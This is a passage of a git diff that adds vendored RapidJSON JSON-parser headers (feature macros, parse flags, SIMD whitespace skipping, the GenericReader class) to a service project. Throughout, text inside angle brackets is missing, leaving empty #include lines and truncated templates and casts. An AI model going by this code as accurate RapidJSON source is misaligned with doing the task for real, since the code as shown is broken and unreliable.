(defined(RAPIDJSON_GNUC) && (RAPIDJSON_GNUC >= RAPIDJSON_VERSION_CODE(4,6,0)) && defined(__GXX_EXPERIMENTAL_CXX0X__)) || \ + (defined(_MSC_VER) && _MSC_VER >= 1900) || \ + (defined(__SUNPRO_CC) && __SUNPRO_CC >= 0x5140 && defined(__GXX_EXPERIMENTAL_CXX0X__)) +#define RAPIDJSON_HAS_CXX11_NOEXCEPT 1 +#else +#define RAPIDJSON_HAS_CXX11_NOEXCEPT 0 +#endif +#endif +#ifndef RAPIDJSON_NOEXCEPT +#if RAPIDJSON_HAS_CXX11_NOEXCEPT +#define RAPIDJSON_NOEXCEPT noexcept +#else +#define RAPIDJSON_NOEXCEPT throw() +#endif // RAPIDJSON_HAS_CXX11_NOEXCEPT +#endif + +// no automatic detection, yet +#ifndef RAPIDJSON_HAS_CXX11_TYPETRAITS +#if (defined(_MSC_VER) && _MSC_VER >= 1700) +#define RAPIDJSON_HAS_CXX11_TYPETRAITS 1 +#else +#define RAPIDJSON_HAS_CXX11_TYPETRAITS 0 +#endif +#endif + +#ifndef RAPIDJSON_HAS_CXX11_RANGE_FOR +#if defined(__clang__) +#define RAPIDJSON_HAS_CXX11_RANGE_FOR __has_feature(cxx_range_for) +#elif (defined(RAPIDJSON_GNUC) && (RAPIDJSON_GNUC >= RAPIDJSON_VERSION_CODE(4,6,0)) && defined(__GXX_EXPERIMENTAL_CXX0X__)) || \ + (defined(_MSC_VER) && _MSC_VER >= 1700) || \ + (defined(__SUNPRO_CC) && __SUNPRO_CC >= 0x5140 && defined(__GXX_EXPERIMENTAL_CXX0X__)) +#define RAPIDJSON_HAS_CXX11_RANGE_FOR 1 +#else +#define RAPIDJSON_HAS_CXX11_RANGE_FOR 0 +#endif +#endif // RAPIDJSON_HAS_CXX11_RANGE_FOR + +/////////////////////////////////////////////////////////////////////////////// +// C++17 features + +#ifndef RAPIDJSON_HAS_CXX17 +#define RAPIDJSON_HAS_CXX17 (RAPIDJSON_CPLUSPLUS >= 201703L) +#endif + +#if RAPIDJSON_HAS_CXX17 +# define RAPIDJSON_DELIBERATE_FALLTHROUGH [[fallthrough]] +#elif defined(__has_cpp_attribute) +# if __has_cpp_attribute(clang::fallthrough) +# define RAPIDJSON_DELIBERATE_FALLTHROUGH [[clang::fallthrough]] +# elif __has_cpp_attribute(fallthrough) +# define RAPIDJSON_DELIBERATE_FALLTHROUGH __attribute__((fallthrough)) +# else +# define RAPIDJSON_DELIBERATE_FALLTHROUGH +# endif +#else +# define RAPIDJSON_DELIBERATE_FALLTHROUGH +#endif + +//!@endcond + +//! Assertion (in non-throwing contexts). + /*! \ingroup RAPIDJSON_CONFIG + Some functions provide a \c noexcept guarantee, if the compiler supports it. + In these cases, the \ref RAPIDJSON_ASSERT macro cannot be overridden to + throw an exception. This macro adds a separate customization point for + such cases. + + Defaults to C \c assert() (as \ref RAPIDJSON_ASSERT), if \c noexcept is + supported, and to \ref RAPIDJSON_ASSERT otherwise. + */ + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_NOEXCEPT_ASSERT + +#ifndef RAPIDJSON_NOEXCEPT_ASSERT +#ifdef RAPIDJSON_ASSERT_THROWS +#include +#define RAPIDJSON_NOEXCEPT_ASSERT(x) assert(x) +#else +#define RAPIDJSON_NOEXCEPT_ASSERT(x) RAPIDJSON_ASSERT(x) +#endif // RAPIDJSON_ASSERT_THROWS +#endif // RAPIDJSON_NOEXCEPT_ASSERT + +/////////////////////////////////////////////////////////////////////////////// +// malloc/realloc/free + +#ifndef RAPIDJSON_MALLOC +///! customization point for global \c malloc +#define RAPIDJSON_MALLOC(size) std::malloc(size) +#endif +#ifndef RAPIDJSON_REALLOC +///! customization point for global \c realloc +#define RAPIDJSON_REALLOC(ptr, new_size) std::realloc(ptr, new_size) +#endif +#ifndef RAPIDJSON_FREE +///! customization point for global \c free +#define RAPIDJSON_FREE(ptr) std::free(ptr) +#endif + +/////////////////////////////////////////////////////////////////////////////// +// new/delete + +#ifndef RAPIDJSON_NEW +///! customization point for global \c new +#define RAPIDJSON_NEW(TypeName) new TypeName +#endif +#ifndef RAPIDJSON_DELETE +///! customization point for global \c delete +#define RAPIDJSON_DELETE(x) delete x +#endif + +/////////////////////////////////////////////////////////////////////////////// +// Type + +/*! \namespace rapidjson + \brief main RapidJSON namespace + \see RAPIDJSON_NAMESPACE +*/ +RAPIDJSON_NAMESPACE_BEGIN + +//! Type of JSON value +enum Type { + kNullType = 0, //!< null + kFalseType = 1, //!< false + kTrueType = 2, //!< true + kObjectType = 3, //!< object + kArrayType = 4, //!< array + kStringType = 5, //!< string + kNumberType = 6 //!< number +}; + +RAPIDJSON_NAMESPACE_END + +#endif // RAPIDJSON_RAPIDJSON_H_ diff --git a/services/service2/src/auth_service/rapidjson/reader.h b/services/service2/src/auth_service/rapidjson/reader.h new file mode 100644 index 0000000..5554660 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/reader.h @@ -0,0 +1,2246 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_READER_H_ +#define RAPIDJSON_READER_H_ + +/*! \file reader.h */ + +#include "allocators.h" +#include "stream.h" +#include "encodedstream.h" +#include "internal/clzll.h" +#include "internal/meta.h" +#include "internal/stack.h" +#include "internal/strtod.h" +#include + +#if defined(RAPIDJSON_SIMD) && defined(_MSC_VER) +#include +#pragma intrinsic(_BitScanForward) +#endif +#ifdef RAPIDJSON_SSE42 +#include +#elif defined(RAPIDJSON_SSE2) +#include +#elif defined(RAPIDJSON_NEON) +#include +#endif + +#ifdef __clang__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(old-style-cast) +RAPIDJSON_DIAG_OFF(padded) +RAPIDJSON_DIAG_OFF(switch-enum) +#elif defined(_MSC_VER) +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(4127) // conditional expression is constant +RAPIDJSON_DIAG_OFF(4702) // unreachable code +#endif + +#ifdef __GNUC__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(effc++) +#endif + +//!@cond RAPIDJSON_HIDDEN_FROM_DOXYGEN +#define RAPIDJSON_NOTHING /* deliberately empty */ +#ifndef RAPIDJSON_PARSE_ERROR_EARLY_RETURN +#define RAPIDJSON_PARSE_ERROR_EARLY_RETURN(value) \ + RAPIDJSON_MULTILINEMACRO_BEGIN \ + if (RAPIDJSON_UNLIKELY(HasParseError())) { return value; } \ + RAPIDJSON_MULTILINEMACRO_END +#endif +#define RAPIDJSON_PARSE_ERROR_EARLY_RETURN_VOID \ + RAPIDJSON_PARSE_ERROR_EARLY_RETURN(RAPIDJSON_NOTHING) +//!@endcond + +/*! \def RAPIDJSON_PARSE_ERROR_NORETURN + \ingroup RAPIDJSON_ERRORS + \brief Macro to indicate a parse error. + \param parseErrorCode \ref rapidjson::ParseErrorCode of the error + \param offset position of the error in JSON input (\c size_t) + + This macros can be used as a customization point for the internal + error handling mechanism of RapidJSON. + + A common usage model is to throw an exception instead of requiring the + caller to explicitly check the \ref rapidjson::GenericReader::Parse's + return value: + + \code + #define RAPIDJSON_PARSE_ERROR_NORETURN(parseErrorCode,offset) \ + throw ParseException(parseErrorCode, #parseErrorCode, offset) + + #include // std::runtime_error + #include "rapidjson/error/error.h" // rapidjson::ParseResult + + struct ParseException : std::runtime_error, rapidjson::ParseResult { + ParseException(rapidjson::ParseErrorCode code, const char* msg, size_t offset) + : std::runtime_error(msg), ParseResult(code, offset) {} + }; + + #include "rapidjson/reader.h" + \endcode + + \see RAPIDJSON_PARSE_ERROR, rapidjson::GenericReader::Parse + */ +#ifndef RAPIDJSON_PARSE_ERROR_NORETURN +#define RAPIDJSON_PARSE_ERROR_NORETURN(parseErrorCode, offset) \ + RAPIDJSON_MULTILINEMACRO_BEGIN \ + RAPIDJSON_ASSERT(!HasParseError()); /* Error can only be assigned once */ \ + SetParseError(parseErrorCode, offset); \ + RAPIDJSON_MULTILINEMACRO_END +#endif + +/*! \def RAPIDJSON_PARSE_ERROR + \ingroup RAPIDJSON_ERRORS + \brief (Internal) macro to indicate and handle a parse error. + \param parseErrorCode \ref rapidjson::ParseErrorCode of the error + \param offset position of the error in JSON input (\c size_t) + + Invokes RAPIDJSON_PARSE_ERROR_NORETURN and stops the parsing. + + \see RAPIDJSON_PARSE_ERROR_NORETURN + \hideinitializer + */ +#ifndef RAPIDJSON_PARSE_ERROR +#define RAPIDJSON_PARSE_ERROR(parseErrorCode, offset) \ + RAPIDJSON_MULTILINEMACRO_BEGIN \ + RAPIDJSON_PARSE_ERROR_NORETURN(parseErrorCode, offset); \ + RAPIDJSON_PARSE_ERROR_EARLY_RETURN_VOID; \ + RAPIDJSON_MULTILINEMACRO_END +#endif + +#include "error/error.h" // ParseErrorCode, ParseResult + +RAPIDJSON_NAMESPACE_BEGIN + +/////////////////////////////////////////////////////////////////////////////// +// ParseFlag + +/*! \def RAPIDJSON_PARSE_DEFAULT_FLAGS + \ingroup RAPIDJSON_CONFIG + \brief User-defined kParseDefaultFlags definition. + + User can define this as any \c ParseFlag combinations. +*/ +#ifndef RAPIDJSON_PARSE_DEFAULT_FLAGS +#define RAPIDJSON_PARSE_DEFAULT_FLAGS kParseNoFlags +#endif + +//! Combination of parseFlags +/*! \see Reader::Parse, Document::Parse, Document::ParseInsitu, Document::ParseStream + */ +enum ParseFlag { + kParseNoFlags = 0, //!< No flags are set. + kParseInsituFlag = 1, //!< In-situ(destructive) parsing. + kParseValidateEncodingFlag = 2, //!< Validate encoding of JSON strings. + kParseIterativeFlag = 4, //!< Iterative(constant complexity in terms of function call stack size) parsing. + kParseStopWhenDoneFlag = 8, //!< After parsing a complete JSON root from stream, stop further processing the rest of stream. When this flag is used, parser will not generate kParseErrorDocumentRootNotSingular error. + kParseFullPrecisionFlag = 16, //!< Parse number in full precision (but slower). + kParseCommentsFlag = 32, //!< Allow one-line (//) and multi-line (/**/) comments. + kParseNumbersAsStringsFlag = 64, //!< Parse all numbers (ints/doubles) as strings. + kParseTrailingCommasFlag = 128, //!< Allow trailing commas at the end of objects and arrays. + kParseNanAndInfFlag = 256, //!< Allow parsing NaN, Inf, Infinity, -Inf and -Infinity as doubles. + kParseEscapedApostropheFlag = 512, //!< Allow escaped apostrophe in strings. + kParseDefaultFlags = RAPIDJSON_PARSE_DEFAULT_FLAGS //!< Default parse flags. Can be customized by defining RAPIDJSON_PARSE_DEFAULT_FLAGS +}; + +/////////////////////////////////////////////////////////////////////////////// +// Handler + +/*! \class rapidjson::Handler + \brief Concept for receiving events from GenericReader upon parsing. + The functions return true if no error occurs. If they return false, + the event publisher should terminate the process. +\code +concept Handler { + typename Ch; + + bool Null(); + bool Bool(bool b); + bool Int(int i); + bool Uint(unsigned i); + bool Int64(int64_t i); + bool Uint64(uint64_t i); + bool Double(double d); + /// enabled via kParseNumbersAsStringsFlag, string is not null-terminated (use length) + bool RawNumber(const Ch* str, SizeType length, bool copy); + bool String(const Ch* str, SizeType length, bool copy); + bool StartObject(); + bool Key(const Ch* str, SizeType length, bool copy); + bool EndObject(SizeType memberCount); + bool StartArray(); + bool EndArray(SizeType elementCount); +}; +\endcode +*/ +/////////////////////////////////////////////////////////////////////////////// +// BaseReaderHandler + +//! Default implementation of Handler. +/*! This can be used as base class of any reader handler. + \note implements Handler concept +*/ +template, typename Derived = void> +struct BaseReaderHandler { + typedef typename Encoding::Ch Ch; + + typedef typename internal::SelectIf, BaseReaderHandler, Derived>::Type Override; + + bool Default() { return true; } + bool Null() { return static_cast(*this).Default(); } + bool Bool(bool) { return static_cast(*this).Default(); } + bool Int(int) { return static_cast(*this).Default(); } + bool Uint(unsigned) { return static_cast(*this).Default(); } + bool Int64(int64_t) { return static_cast(*this).Default(); } + bool Uint64(uint64_t) { return static_cast(*this).Default(); } + bool Double(double) { return static_cast(*this).Default(); } + /// enabled via kParseNumbersAsStringsFlag, string is not null-terminated (use length) + bool RawNumber(const Ch* str, SizeType len, bool copy) { return static_cast(*this).String(str, len, copy); } + bool String(const Ch*, SizeType, bool) { return static_cast(*this).Default(); } + bool StartObject() { return static_cast(*this).Default(); } + bool Key(const Ch* str, SizeType len, bool copy) { return static_cast(*this).String(str, len, copy); } + bool EndObject(SizeType) { return static_cast(*this).Default(); } + bool StartArray() { return static_cast(*this).Default(); } + bool EndArray(SizeType) { return static_cast(*this).Default(); } +}; + +/////////////////////////////////////////////////////////////////////////////// +// StreamLocalCopy + +namespace internal { + +template::copyOptimization> +class StreamLocalCopy; + +//! Do copy optimization. +template +class StreamLocalCopy { +public: + StreamLocalCopy(Stream& original) : s(original), original_(original) {} + ~StreamLocalCopy() { original_ = s; } + + Stream s; + +private: + StreamLocalCopy& operator=(const StreamLocalCopy&) /* = delete */; + + Stream& original_; +}; + +//! Keep reference. +template +class StreamLocalCopy { +public: + StreamLocalCopy(Stream& original) : s(original) {} + + Stream& s; + +private: + StreamLocalCopy& operator=(const StreamLocalCopy&) /* = delete */; +}; + +} // namespace internal + +/////////////////////////////////////////////////////////////////////////////// +// SkipWhitespace + +//! Skip the JSON white spaces in a stream. +/*! \param is A input stream for skipping white spaces. + \note This function has SSE2/SSE4.2 specialization. +*/ +template +void SkipWhitespace(InputStream& is) { + internal::StreamLocalCopy copy(is); + InputStream& s(copy.s); + + typename InputStream::Ch c; + while ((c = s.Peek()) == ' ' || c == '\n' || c == '\r' || c == '\t') + s.Take(); +} + +inline const char* SkipWhitespace(const char* p, const char* end) { + while (p != end && (*p == ' ' || *p == '\n' || *p == '\r' || *p == '\t')) + ++p; + return p; +} + +#ifdef RAPIDJSON_SSE42 +//! Skip whitespace with SSE 4.2 pcmpistrm instruction, testing 16 8-byte characters at once. +inline const char *SkipWhitespace_SIMD(const char* p) { + // Fast return for single non-whitespace + if (*p == ' ' || *p == '\n' || *p == '\r' || *p == '\t') + ++p; + else + return p; + + // 16-byte align to the next boundary + const char* nextAligned = reinterpret_cast((reinterpret_cast(p) + 15) & static_cast(~15)); + while (p != nextAligned) + if (*p == ' ' || *p == '\n' || *p == '\r' || *p == '\t') + ++p; + else + return p; + + // The rest of string using SIMD + static const char whitespace[16] = " \n\r\t"; + const __m128i w = _mm_loadu_si128(reinterpret_cast(&whitespace[0])); + + for (;; p += 16) { + const __m128i s = _mm_load_si128(reinterpret_cast(p)); + const int r = _mm_cmpistri(w, s, _SIDD_UBYTE_OPS | _SIDD_CMP_EQUAL_ANY | _SIDD_LEAST_SIGNIFICANT | _SIDD_NEGATIVE_POLARITY); + if (r != 16) // some of characters is non-whitespace + return p + r; + } +} + +inline const char *SkipWhitespace_SIMD(const char* p, const char* end) { + // Fast return for single non-whitespace + if (p != end && (*p == ' ' || *p == '\n' || *p == '\r' || *p == '\t')) + ++p; + else + return p; + + // The middle of string using SIMD + static const char whitespace[16] = " \n\r\t"; + const __m128i w = _mm_loadu_si128(reinterpret_cast(&whitespace[0])); + + for (; p <= end - 16; p += 16) { + const __m128i s = _mm_loadu_si128(reinterpret_cast(p)); + const int r = _mm_cmpistri(w, s, _SIDD_UBYTE_OPS | _SIDD_CMP_EQUAL_ANY | _SIDD_LEAST_SIGNIFICANT | _SIDD_NEGATIVE_POLARITY); + if (r != 16) // some of characters is non-whitespace + return p + r; + } + + return SkipWhitespace(p, end); +} + +#elif defined(RAPIDJSON_SSE2) + +//! Skip whitespace with SSE2 instructions, testing 16 8-byte characters at once. +inline const char *SkipWhitespace_SIMD(const char* p) { + // Fast return for single non-whitespace + if (*p == ' ' || *p == '\n' || *p == '\r' || *p == '\t') + ++p; + else + return p; + + // 16-byte align to the next boundary + const char* nextAligned = reinterpret_cast((reinterpret_cast(p) + 15) & static_cast(~15)); + while (p != nextAligned) + if (*p == ' ' || *p == '\n' || *p == '\r' || *p == '\t') + ++p; + else + return p; + + // The rest of string + #define C16(c) { c, c, c, c, c, c, c, c, c, c, c, c, c, c, c, c } + static const char whitespaces[4][16] = { C16(' '), C16('\n'), C16('\r'), C16('\t') }; + #undef C16 + + const __m128i w0 = _mm_loadu_si128(reinterpret_cast(&whitespaces[0][0])); + const __m128i w1 = _mm_loadu_si128(reinterpret_cast(&whitespaces[1][0])); + const __m128i w2 = _mm_loadu_si128(reinterpret_cast(&whitespaces[2][0])); + const __m128i w3 = _mm_loadu_si128(reinterpret_cast(&whitespaces[3][0])); + + for (;; p += 16) { + const __m128i s = _mm_load_si128(reinterpret_cast(p)); + __m128i x = _mm_cmpeq_epi8(s, w0); + x = _mm_or_si128(x, _mm_cmpeq_epi8(s, w1)); + x = _mm_or_si128(x, _mm_cmpeq_epi8(s, w2)); + x = _mm_or_si128(x, _mm_cmpeq_epi8(s, w3)); + unsigned short r = static_cast(~_mm_movemask_epi8(x)); + if (r != 0) { // some of characters may be non-whitespace +#ifdef _MSC_VER // Find the index of first non-whitespace + unsigned long offset; + _BitScanForward(&offset, r); + return p + offset; +#else + return p + __builtin_ffs(r) - 1; +#endif + } + } +} + +inline const char *SkipWhitespace_SIMD(const char* p, const char* end) { + // Fast return for single non-whitespace + if (p != end && (*p == ' ' || *p == '\n' || *p == '\r' || *p == '\t')) + ++p; + else + return p; + + // The rest of string + #define C16(c) { c, c, c, c, c, c, c, c, c, c, c, c, c, c, c, c } + static const char whitespaces[4][16] = { C16(' '), C16('\n'), C16('\r'), C16('\t') }; + #undef C16 + + const __m128i w0 = _mm_loadu_si128(reinterpret_cast(&whitespaces[0][0])); + const __m128i w1 = _mm_loadu_si128(reinterpret_cast(&whitespaces[1][0])); + const __m128i w2 = _mm_loadu_si128(reinterpret_cast(&whitespaces[2][0])); + const __m128i w3 = _mm_loadu_si128(reinterpret_cast(&whitespaces[3][0])); + + for (; p <= end - 16; p += 16) { + const __m128i s = _mm_loadu_si128(reinterpret_cast(p)); + __m128i x = _mm_cmpeq_epi8(s, w0); + x = _mm_or_si128(x, _mm_cmpeq_epi8(s, w1)); + x = _mm_or_si128(x, _mm_cmpeq_epi8(s, w2)); + x = _mm_or_si128(x, _mm_cmpeq_epi8(s, w3)); + unsigned short r = static_cast(~_mm_movemask_epi8(x)); + if (r != 0) { // some of characters may be non-whitespace +#ifdef _MSC_VER // Find the index of first non-whitespace + unsigned long offset; + _BitScanForward(&offset, r); + return p + offset; +#else + return p + __builtin_ffs(r) - 1; +#endif + } + } + + return SkipWhitespace(p, end); +} + +#elif defined(RAPIDJSON_NEON) + +//! Skip whitespace with ARM Neon instructions, testing 16 8-byte characters at once. +inline const char *SkipWhitespace_SIMD(const char* p) { + // Fast return for single non-whitespace + if (*p == ' ' || *p == '\n' || *p == '\r' || *p == '\t') + ++p; + else + return p; + + // 16-byte align to the next boundary + const char* nextAligned = reinterpret_cast((reinterpret_cast(p) + 15) & static_cast(~15)); + while (p != nextAligned) + if (*p == ' ' || *p == '\n' || *p == '\r' || *p == '\t') + ++p; + else + return p; + + const uint8x16_t w0 = vmovq_n_u8(' '); + const uint8x16_t w1 = vmovq_n_u8('\n'); + const uint8x16_t w2 = vmovq_n_u8('\r'); + const uint8x16_t w3 = vmovq_n_u8('\t'); + + for (;; p += 16) { + const uint8x16_t s = vld1q_u8(reinterpret_cast(p)); + uint8x16_t x = vceqq_u8(s, w0); + x = vorrq_u8(x, vceqq_u8(s, w1)); + x = vorrq_u8(x, vceqq_u8(s, w2)); + x = vorrq_u8(x, vceqq_u8(s, w3)); + + x = vmvnq_u8(x); // Negate + x = vrev64q_u8(x); // Rev in 64 + uint64_t low = vgetq_lane_u64(vreinterpretq_u64_u8(x), 0); // extract + uint64_t high = vgetq_lane_u64(vreinterpretq_u64_u8(x), 1); // extract + + if (low == 0) { + if (high != 0) { + uint32_t lz = internal::clzll(high); + return p + 8 + (lz >> 3); + } + } else { + uint32_t lz = internal::clzll(low); + return p + (lz >> 3); + } + } +} + +inline const char *SkipWhitespace_SIMD(const char* p, const char* end) { + // Fast return for single non-whitespace + if (p != end && (*p == ' ' || *p == '\n' || *p == '\r' || *p == '\t')) + ++p; + else + return p; + + const uint8x16_t w0 = vmovq_n_u8(' '); + const uint8x16_t w1 = vmovq_n_u8('\n'); + const uint8x16_t w2 = vmovq_n_u8('\r'); + const uint8x16_t w3 = vmovq_n_u8('\t'); + + for (; p <= end - 16; p += 16) { + const uint8x16_t s = vld1q_u8(reinterpret_cast(p)); + uint8x16_t x = vceqq_u8(s, w0); + x = vorrq_u8(x, vceqq_u8(s, w1)); + x = vorrq_u8(x, vceqq_u8(s, w2)); + x = vorrq_u8(x, vceqq_u8(s, w3)); + + x = vmvnq_u8(x); // Negate + x = vrev64q_u8(x); // Rev in 64 + uint64_t low = vgetq_lane_u64(vreinterpretq_u64_u8(x), 0); // extract + uint64_t high = vgetq_lane_u64(vreinterpretq_u64_u8(x), 1); // extract + + if (low == 0) { + if (high != 0) { + uint32_t lz = internal::clzll(high); + return p + 8 + (lz >> 3); + } + } else { + uint32_t lz = internal::clzll(low); + return p + (lz >> 3); + } + } + + return SkipWhitespace(p, end); +} + +#endif // RAPIDJSON_NEON + +#ifdef RAPIDJSON_SIMD +//! Template function specialization for InsituStringStream +template<> inline void SkipWhitespace(InsituStringStream& is) { + is.src_ = const_cast(SkipWhitespace_SIMD(is.src_)); +} + +//! Template function specialization for StringStream +template<> inline void SkipWhitespace(StringStream& is) { + is.src_ = SkipWhitespace_SIMD(is.src_); +} + +template<> inline void SkipWhitespace(EncodedInputStream, MemoryStream>& is) { + is.is_.src_ = SkipWhitespace_SIMD(is.is_.src_, is.is_.end_); +} +#endif // RAPIDJSON_SIMD + +/////////////////////////////////////////////////////////////////////////////// +// GenericReader + +//! SAX-style JSON parser. Use \ref Reader for UTF8 encoding and default allocator. +/*! GenericReader parses JSON text from a stream, and send events synchronously to an + object implementing Handler concept. + + It needs to allocate a stack for storing a single decoded string during + non-destructive parsing. + + For in-situ parsing, the decoded string is directly written to the source + text string, no temporary buffer is required. + + A GenericReader object can be reused for parsing multiple JSON text. + + \tparam SourceEncoding Encoding of the input stream. + \tparam TargetEncoding Encoding of the parse output. + \tparam StackAllocator Allocator type for stack. +*/ +template +class GenericReader { +public: + typedef typename SourceEncoding::Ch Ch; //!< SourceEncoding character type + + //! Constructor. + /*! \param stackAllocator Optional allocator for allocating stack memory. (Only use for non-destructive parsing) + \param stackCapacity stack capacity in bytes for storing a single decoded string. (Only use for non-destructive parsing) + */ + GenericReader(StackAllocator* stackAllocator = 0, size_t stackCapacity = kDefaultStackCapacity) : + stack_(stackAllocator, stackCapacity), parseResult_(), state_(IterativeParsingStartState) {} + + //! Parse JSON text. + /*! \tparam parseFlags Combination of \ref ParseFlag. + \tparam InputStream Type of input stream, implementing Stream concept. + \tparam Handler Type of handler, implementing Handler concept. + \param is Input stream to be parsed. + \param handler The handler to receive events. + \return Whether the parsing is successful. + */ + template + ParseResult Parse(InputStream& is, Handler& handler) { + if (parseFlags & kParseIterativeFlag) + return IterativeParse(is, handler); + + parseResult_.Clear(); + + ClearStackOnExit scope(*this); + + SkipWhitespaceAndComments(is); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN(parseResult_); + + if (RAPIDJSON_UNLIKELY(is.Peek() == '\0')) { + RAPIDJSON_PARSE_ERROR_NORETURN(kParseErrorDocumentEmpty, is.Tell()); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN(parseResult_); + } + else { + ParseValue(is, handler); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN(parseResult_); + + if (!(parseFlags & kParseStopWhenDoneFlag)) { + SkipWhitespaceAndComments(is); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN(parseResult_); + + if (RAPIDJSON_UNLIKELY(is.Peek() != '\0')) { + RAPIDJSON_PARSE_ERROR_NORETURN(kParseErrorDocumentRootNotSingular, is.Tell()); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN(parseResult_); + } + } + } + + return parseResult_; + } + + //! Parse JSON text (with \ref kParseDefaultFlags) + /*! \tparam InputStream Type of input stream, implementing Stream concept + \tparam Handler Type of handler, implementing Handler concept. + \param is Input stream to be parsed. + \param handler The handler to receive events. + \return Whether the parsing is successful. + */ + template + ParseResult Parse(InputStream& is, Handler& handler) { + return Parse(is, handler); + } + + //! Initialize JSON text token-by-token parsing + /*! + */ + void IterativeParseInit() { + parseResult_.Clear(); + state_ = IterativeParsingStartState; + } + + //! Parse one token from JSON text + /*! \tparam InputStream Type of input stream, implementing Stream concept + \tparam Handler Type of handler, implementing Handler concept. + \param is Input stream to be parsed. + \param handler The handler to receive events. + \return Whether the parsing is successful. + */ + template + bool IterativeParseNext(InputStream& is, Handler& handler) { + while (RAPIDJSON_LIKELY(is.Peek() != '\0')) { + SkipWhitespaceAndComments(is); + + Token t = Tokenize(is.Peek()); + IterativeParsingState n = Predict(state_, t); + IterativeParsingState d = Transit(state_, t, n, is, handler); + + // If we've finished or hit an error... + if (RAPIDJSON_UNLIKELY(IsIterativeParsingCompleteState(d))) { + // Report errors. + if (d == IterativeParsingErrorState) { + HandleError(state_, is); + return false; + } + + // Transition to the finish state. + RAPIDJSON_ASSERT(d == IterativeParsingFinishState); + state_ = d; + + // If StopWhenDone is not set... + if (!(parseFlags & kParseStopWhenDoneFlag)) { + // ... and extra non-whitespace data is found... + SkipWhitespaceAndComments(is); + if (is.Peek() != '\0') { + // ... this is considered an error. + HandleError(state_, is); + return false; + } + } + + // Success! We are done! + return true; + } + + // Transition to the new state. + state_ = d; + + // If we parsed anything other than a delimiter, we invoked the handler, so we can return true now. + if (!IsIterativeParsingDelimiterState(n)) + return true; + } + + // We reached the end of file. + stack_.Clear(); + + if (state_ != IterativeParsingFinishState) { + HandleError(state_, is); + return false; + } + + return true; + } + + //! Check if token-by-token parsing JSON text is complete + /*! \return Whether the JSON has been fully decoded. + */ + RAPIDJSON_FORCEINLINE bool IterativeParseComplete() const { + return IsIterativeParsingCompleteState(state_); + } + + //! Whether a parse error has occurred in the last parsing. + bool HasParseError() const { return parseResult_.IsError(); } + + //! Get the \ref ParseErrorCode of last parsing. + ParseErrorCode GetParseErrorCode() const { return parseResult_.Code(); } + + //! Get the position of last parsing error in input, 0 otherwise. + size_t GetErrorOffset() const { return parseResult_.Offset(); } + +protected: + void SetParseError(ParseErrorCode code, size_t offset) { parseResult_.Set(code, offset); } + +private: + // Prohibit copy constructor & assignment operator. + GenericReader(const GenericReader&); + GenericReader& operator=(const GenericReader&); + + void ClearStack() { stack_.Clear(); } + + // clear stack on any exit from ParseStream, e.g. due to exception + struct ClearStackOnExit { + explicit ClearStackOnExit(GenericReader& r) : r_(r) {} + ~ClearStackOnExit() { r_.ClearStack(); } + private: + GenericReader& r_; + ClearStackOnExit(const ClearStackOnExit&); + ClearStackOnExit& operator=(const ClearStackOnExit&); + }; + + template + void SkipWhitespaceAndComments(InputStream& is) { + SkipWhitespace(is); + + if (parseFlags & kParseCommentsFlag) { + while (RAPIDJSON_UNLIKELY(Consume(is, '/'))) { + if (Consume(is, '*')) { + while (true) { + if (RAPIDJSON_UNLIKELY(is.Peek() == '\0')) + RAPIDJSON_PARSE_ERROR(kParseErrorUnspecificSyntaxError, is.Tell()); + else if (Consume(is, '*')) { + if (Consume(is, '/')) + break; + } + else + is.Take(); + } + } + else if (RAPIDJSON_LIKELY(Consume(is, '/'))) + while (is.Peek() != '\0' && is.Take() != '\n') {} + else + RAPIDJSON_PARSE_ERROR(kParseErrorUnspecificSyntaxError, is.Tell()); + + SkipWhitespace(is); + } + } + } + + // Parse object: { string : value, ... } + template + void ParseObject(InputStream& is, Handler& handler) { + RAPIDJSON_ASSERT(is.Peek() == '{'); + is.Take(); // Skip '{' + + if (RAPIDJSON_UNLIKELY(!handler.StartObject())) + RAPIDJSON_PARSE_ERROR(kParseErrorTermination, is.Tell()); + + SkipWhitespaceAndComments(is); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN_VOID; + + if (Consume(is, '}')) { + if (RAPIDJSON_UNLIKELY(!handler.EndObject(0))) // empty object + RAPIDJSON_PARSE_ERROR(kParseErrorTermination, is.Tell()); + return; + } + + for (SizeType memberCount = 0;;) { + if (RAPIDJSON_UNLIKELY(is.Peek() != '"')) + RAPIDJSON_PARSE_ERROR(kParseErrorObjectMissName, is.Tell()); + + ParseString(is, handler, true); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN_VOID; + + SkipWhitespaceAndComments(is); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN_VOID; + + if (RAPIDJSON_UNLIKELY(!Consume(is, ':'))) + RAPIDJSON_PARSE_ERROR(kParseErrorObjectMissColon, is.Tell()); + + SkipWhitespaceAndComments(is); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN_VOID; + + ParseValue(is, handler); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN_VOID; + + SkipWhitespaceAndComments(is); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN_VOID; + + ++memberCount; + + switch (is.Peek()) { + case ',': + is.Take(); + SkipWhitespaceAndComments(is); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN_VOID; + break; + case '}': + is.Take(); + if (RAPIDJSON_UNLIKELY(!handler.EndObject(memberCount))) + RAPIDJSON_PARSE_ERROR(kParseErrorTermination, is.Tell()); + return; + default: + RAPIDJSON_PARSE_ERROR(kParseErrorObjectMissCommaOrCurlyBracket, is.Tell()); break; // 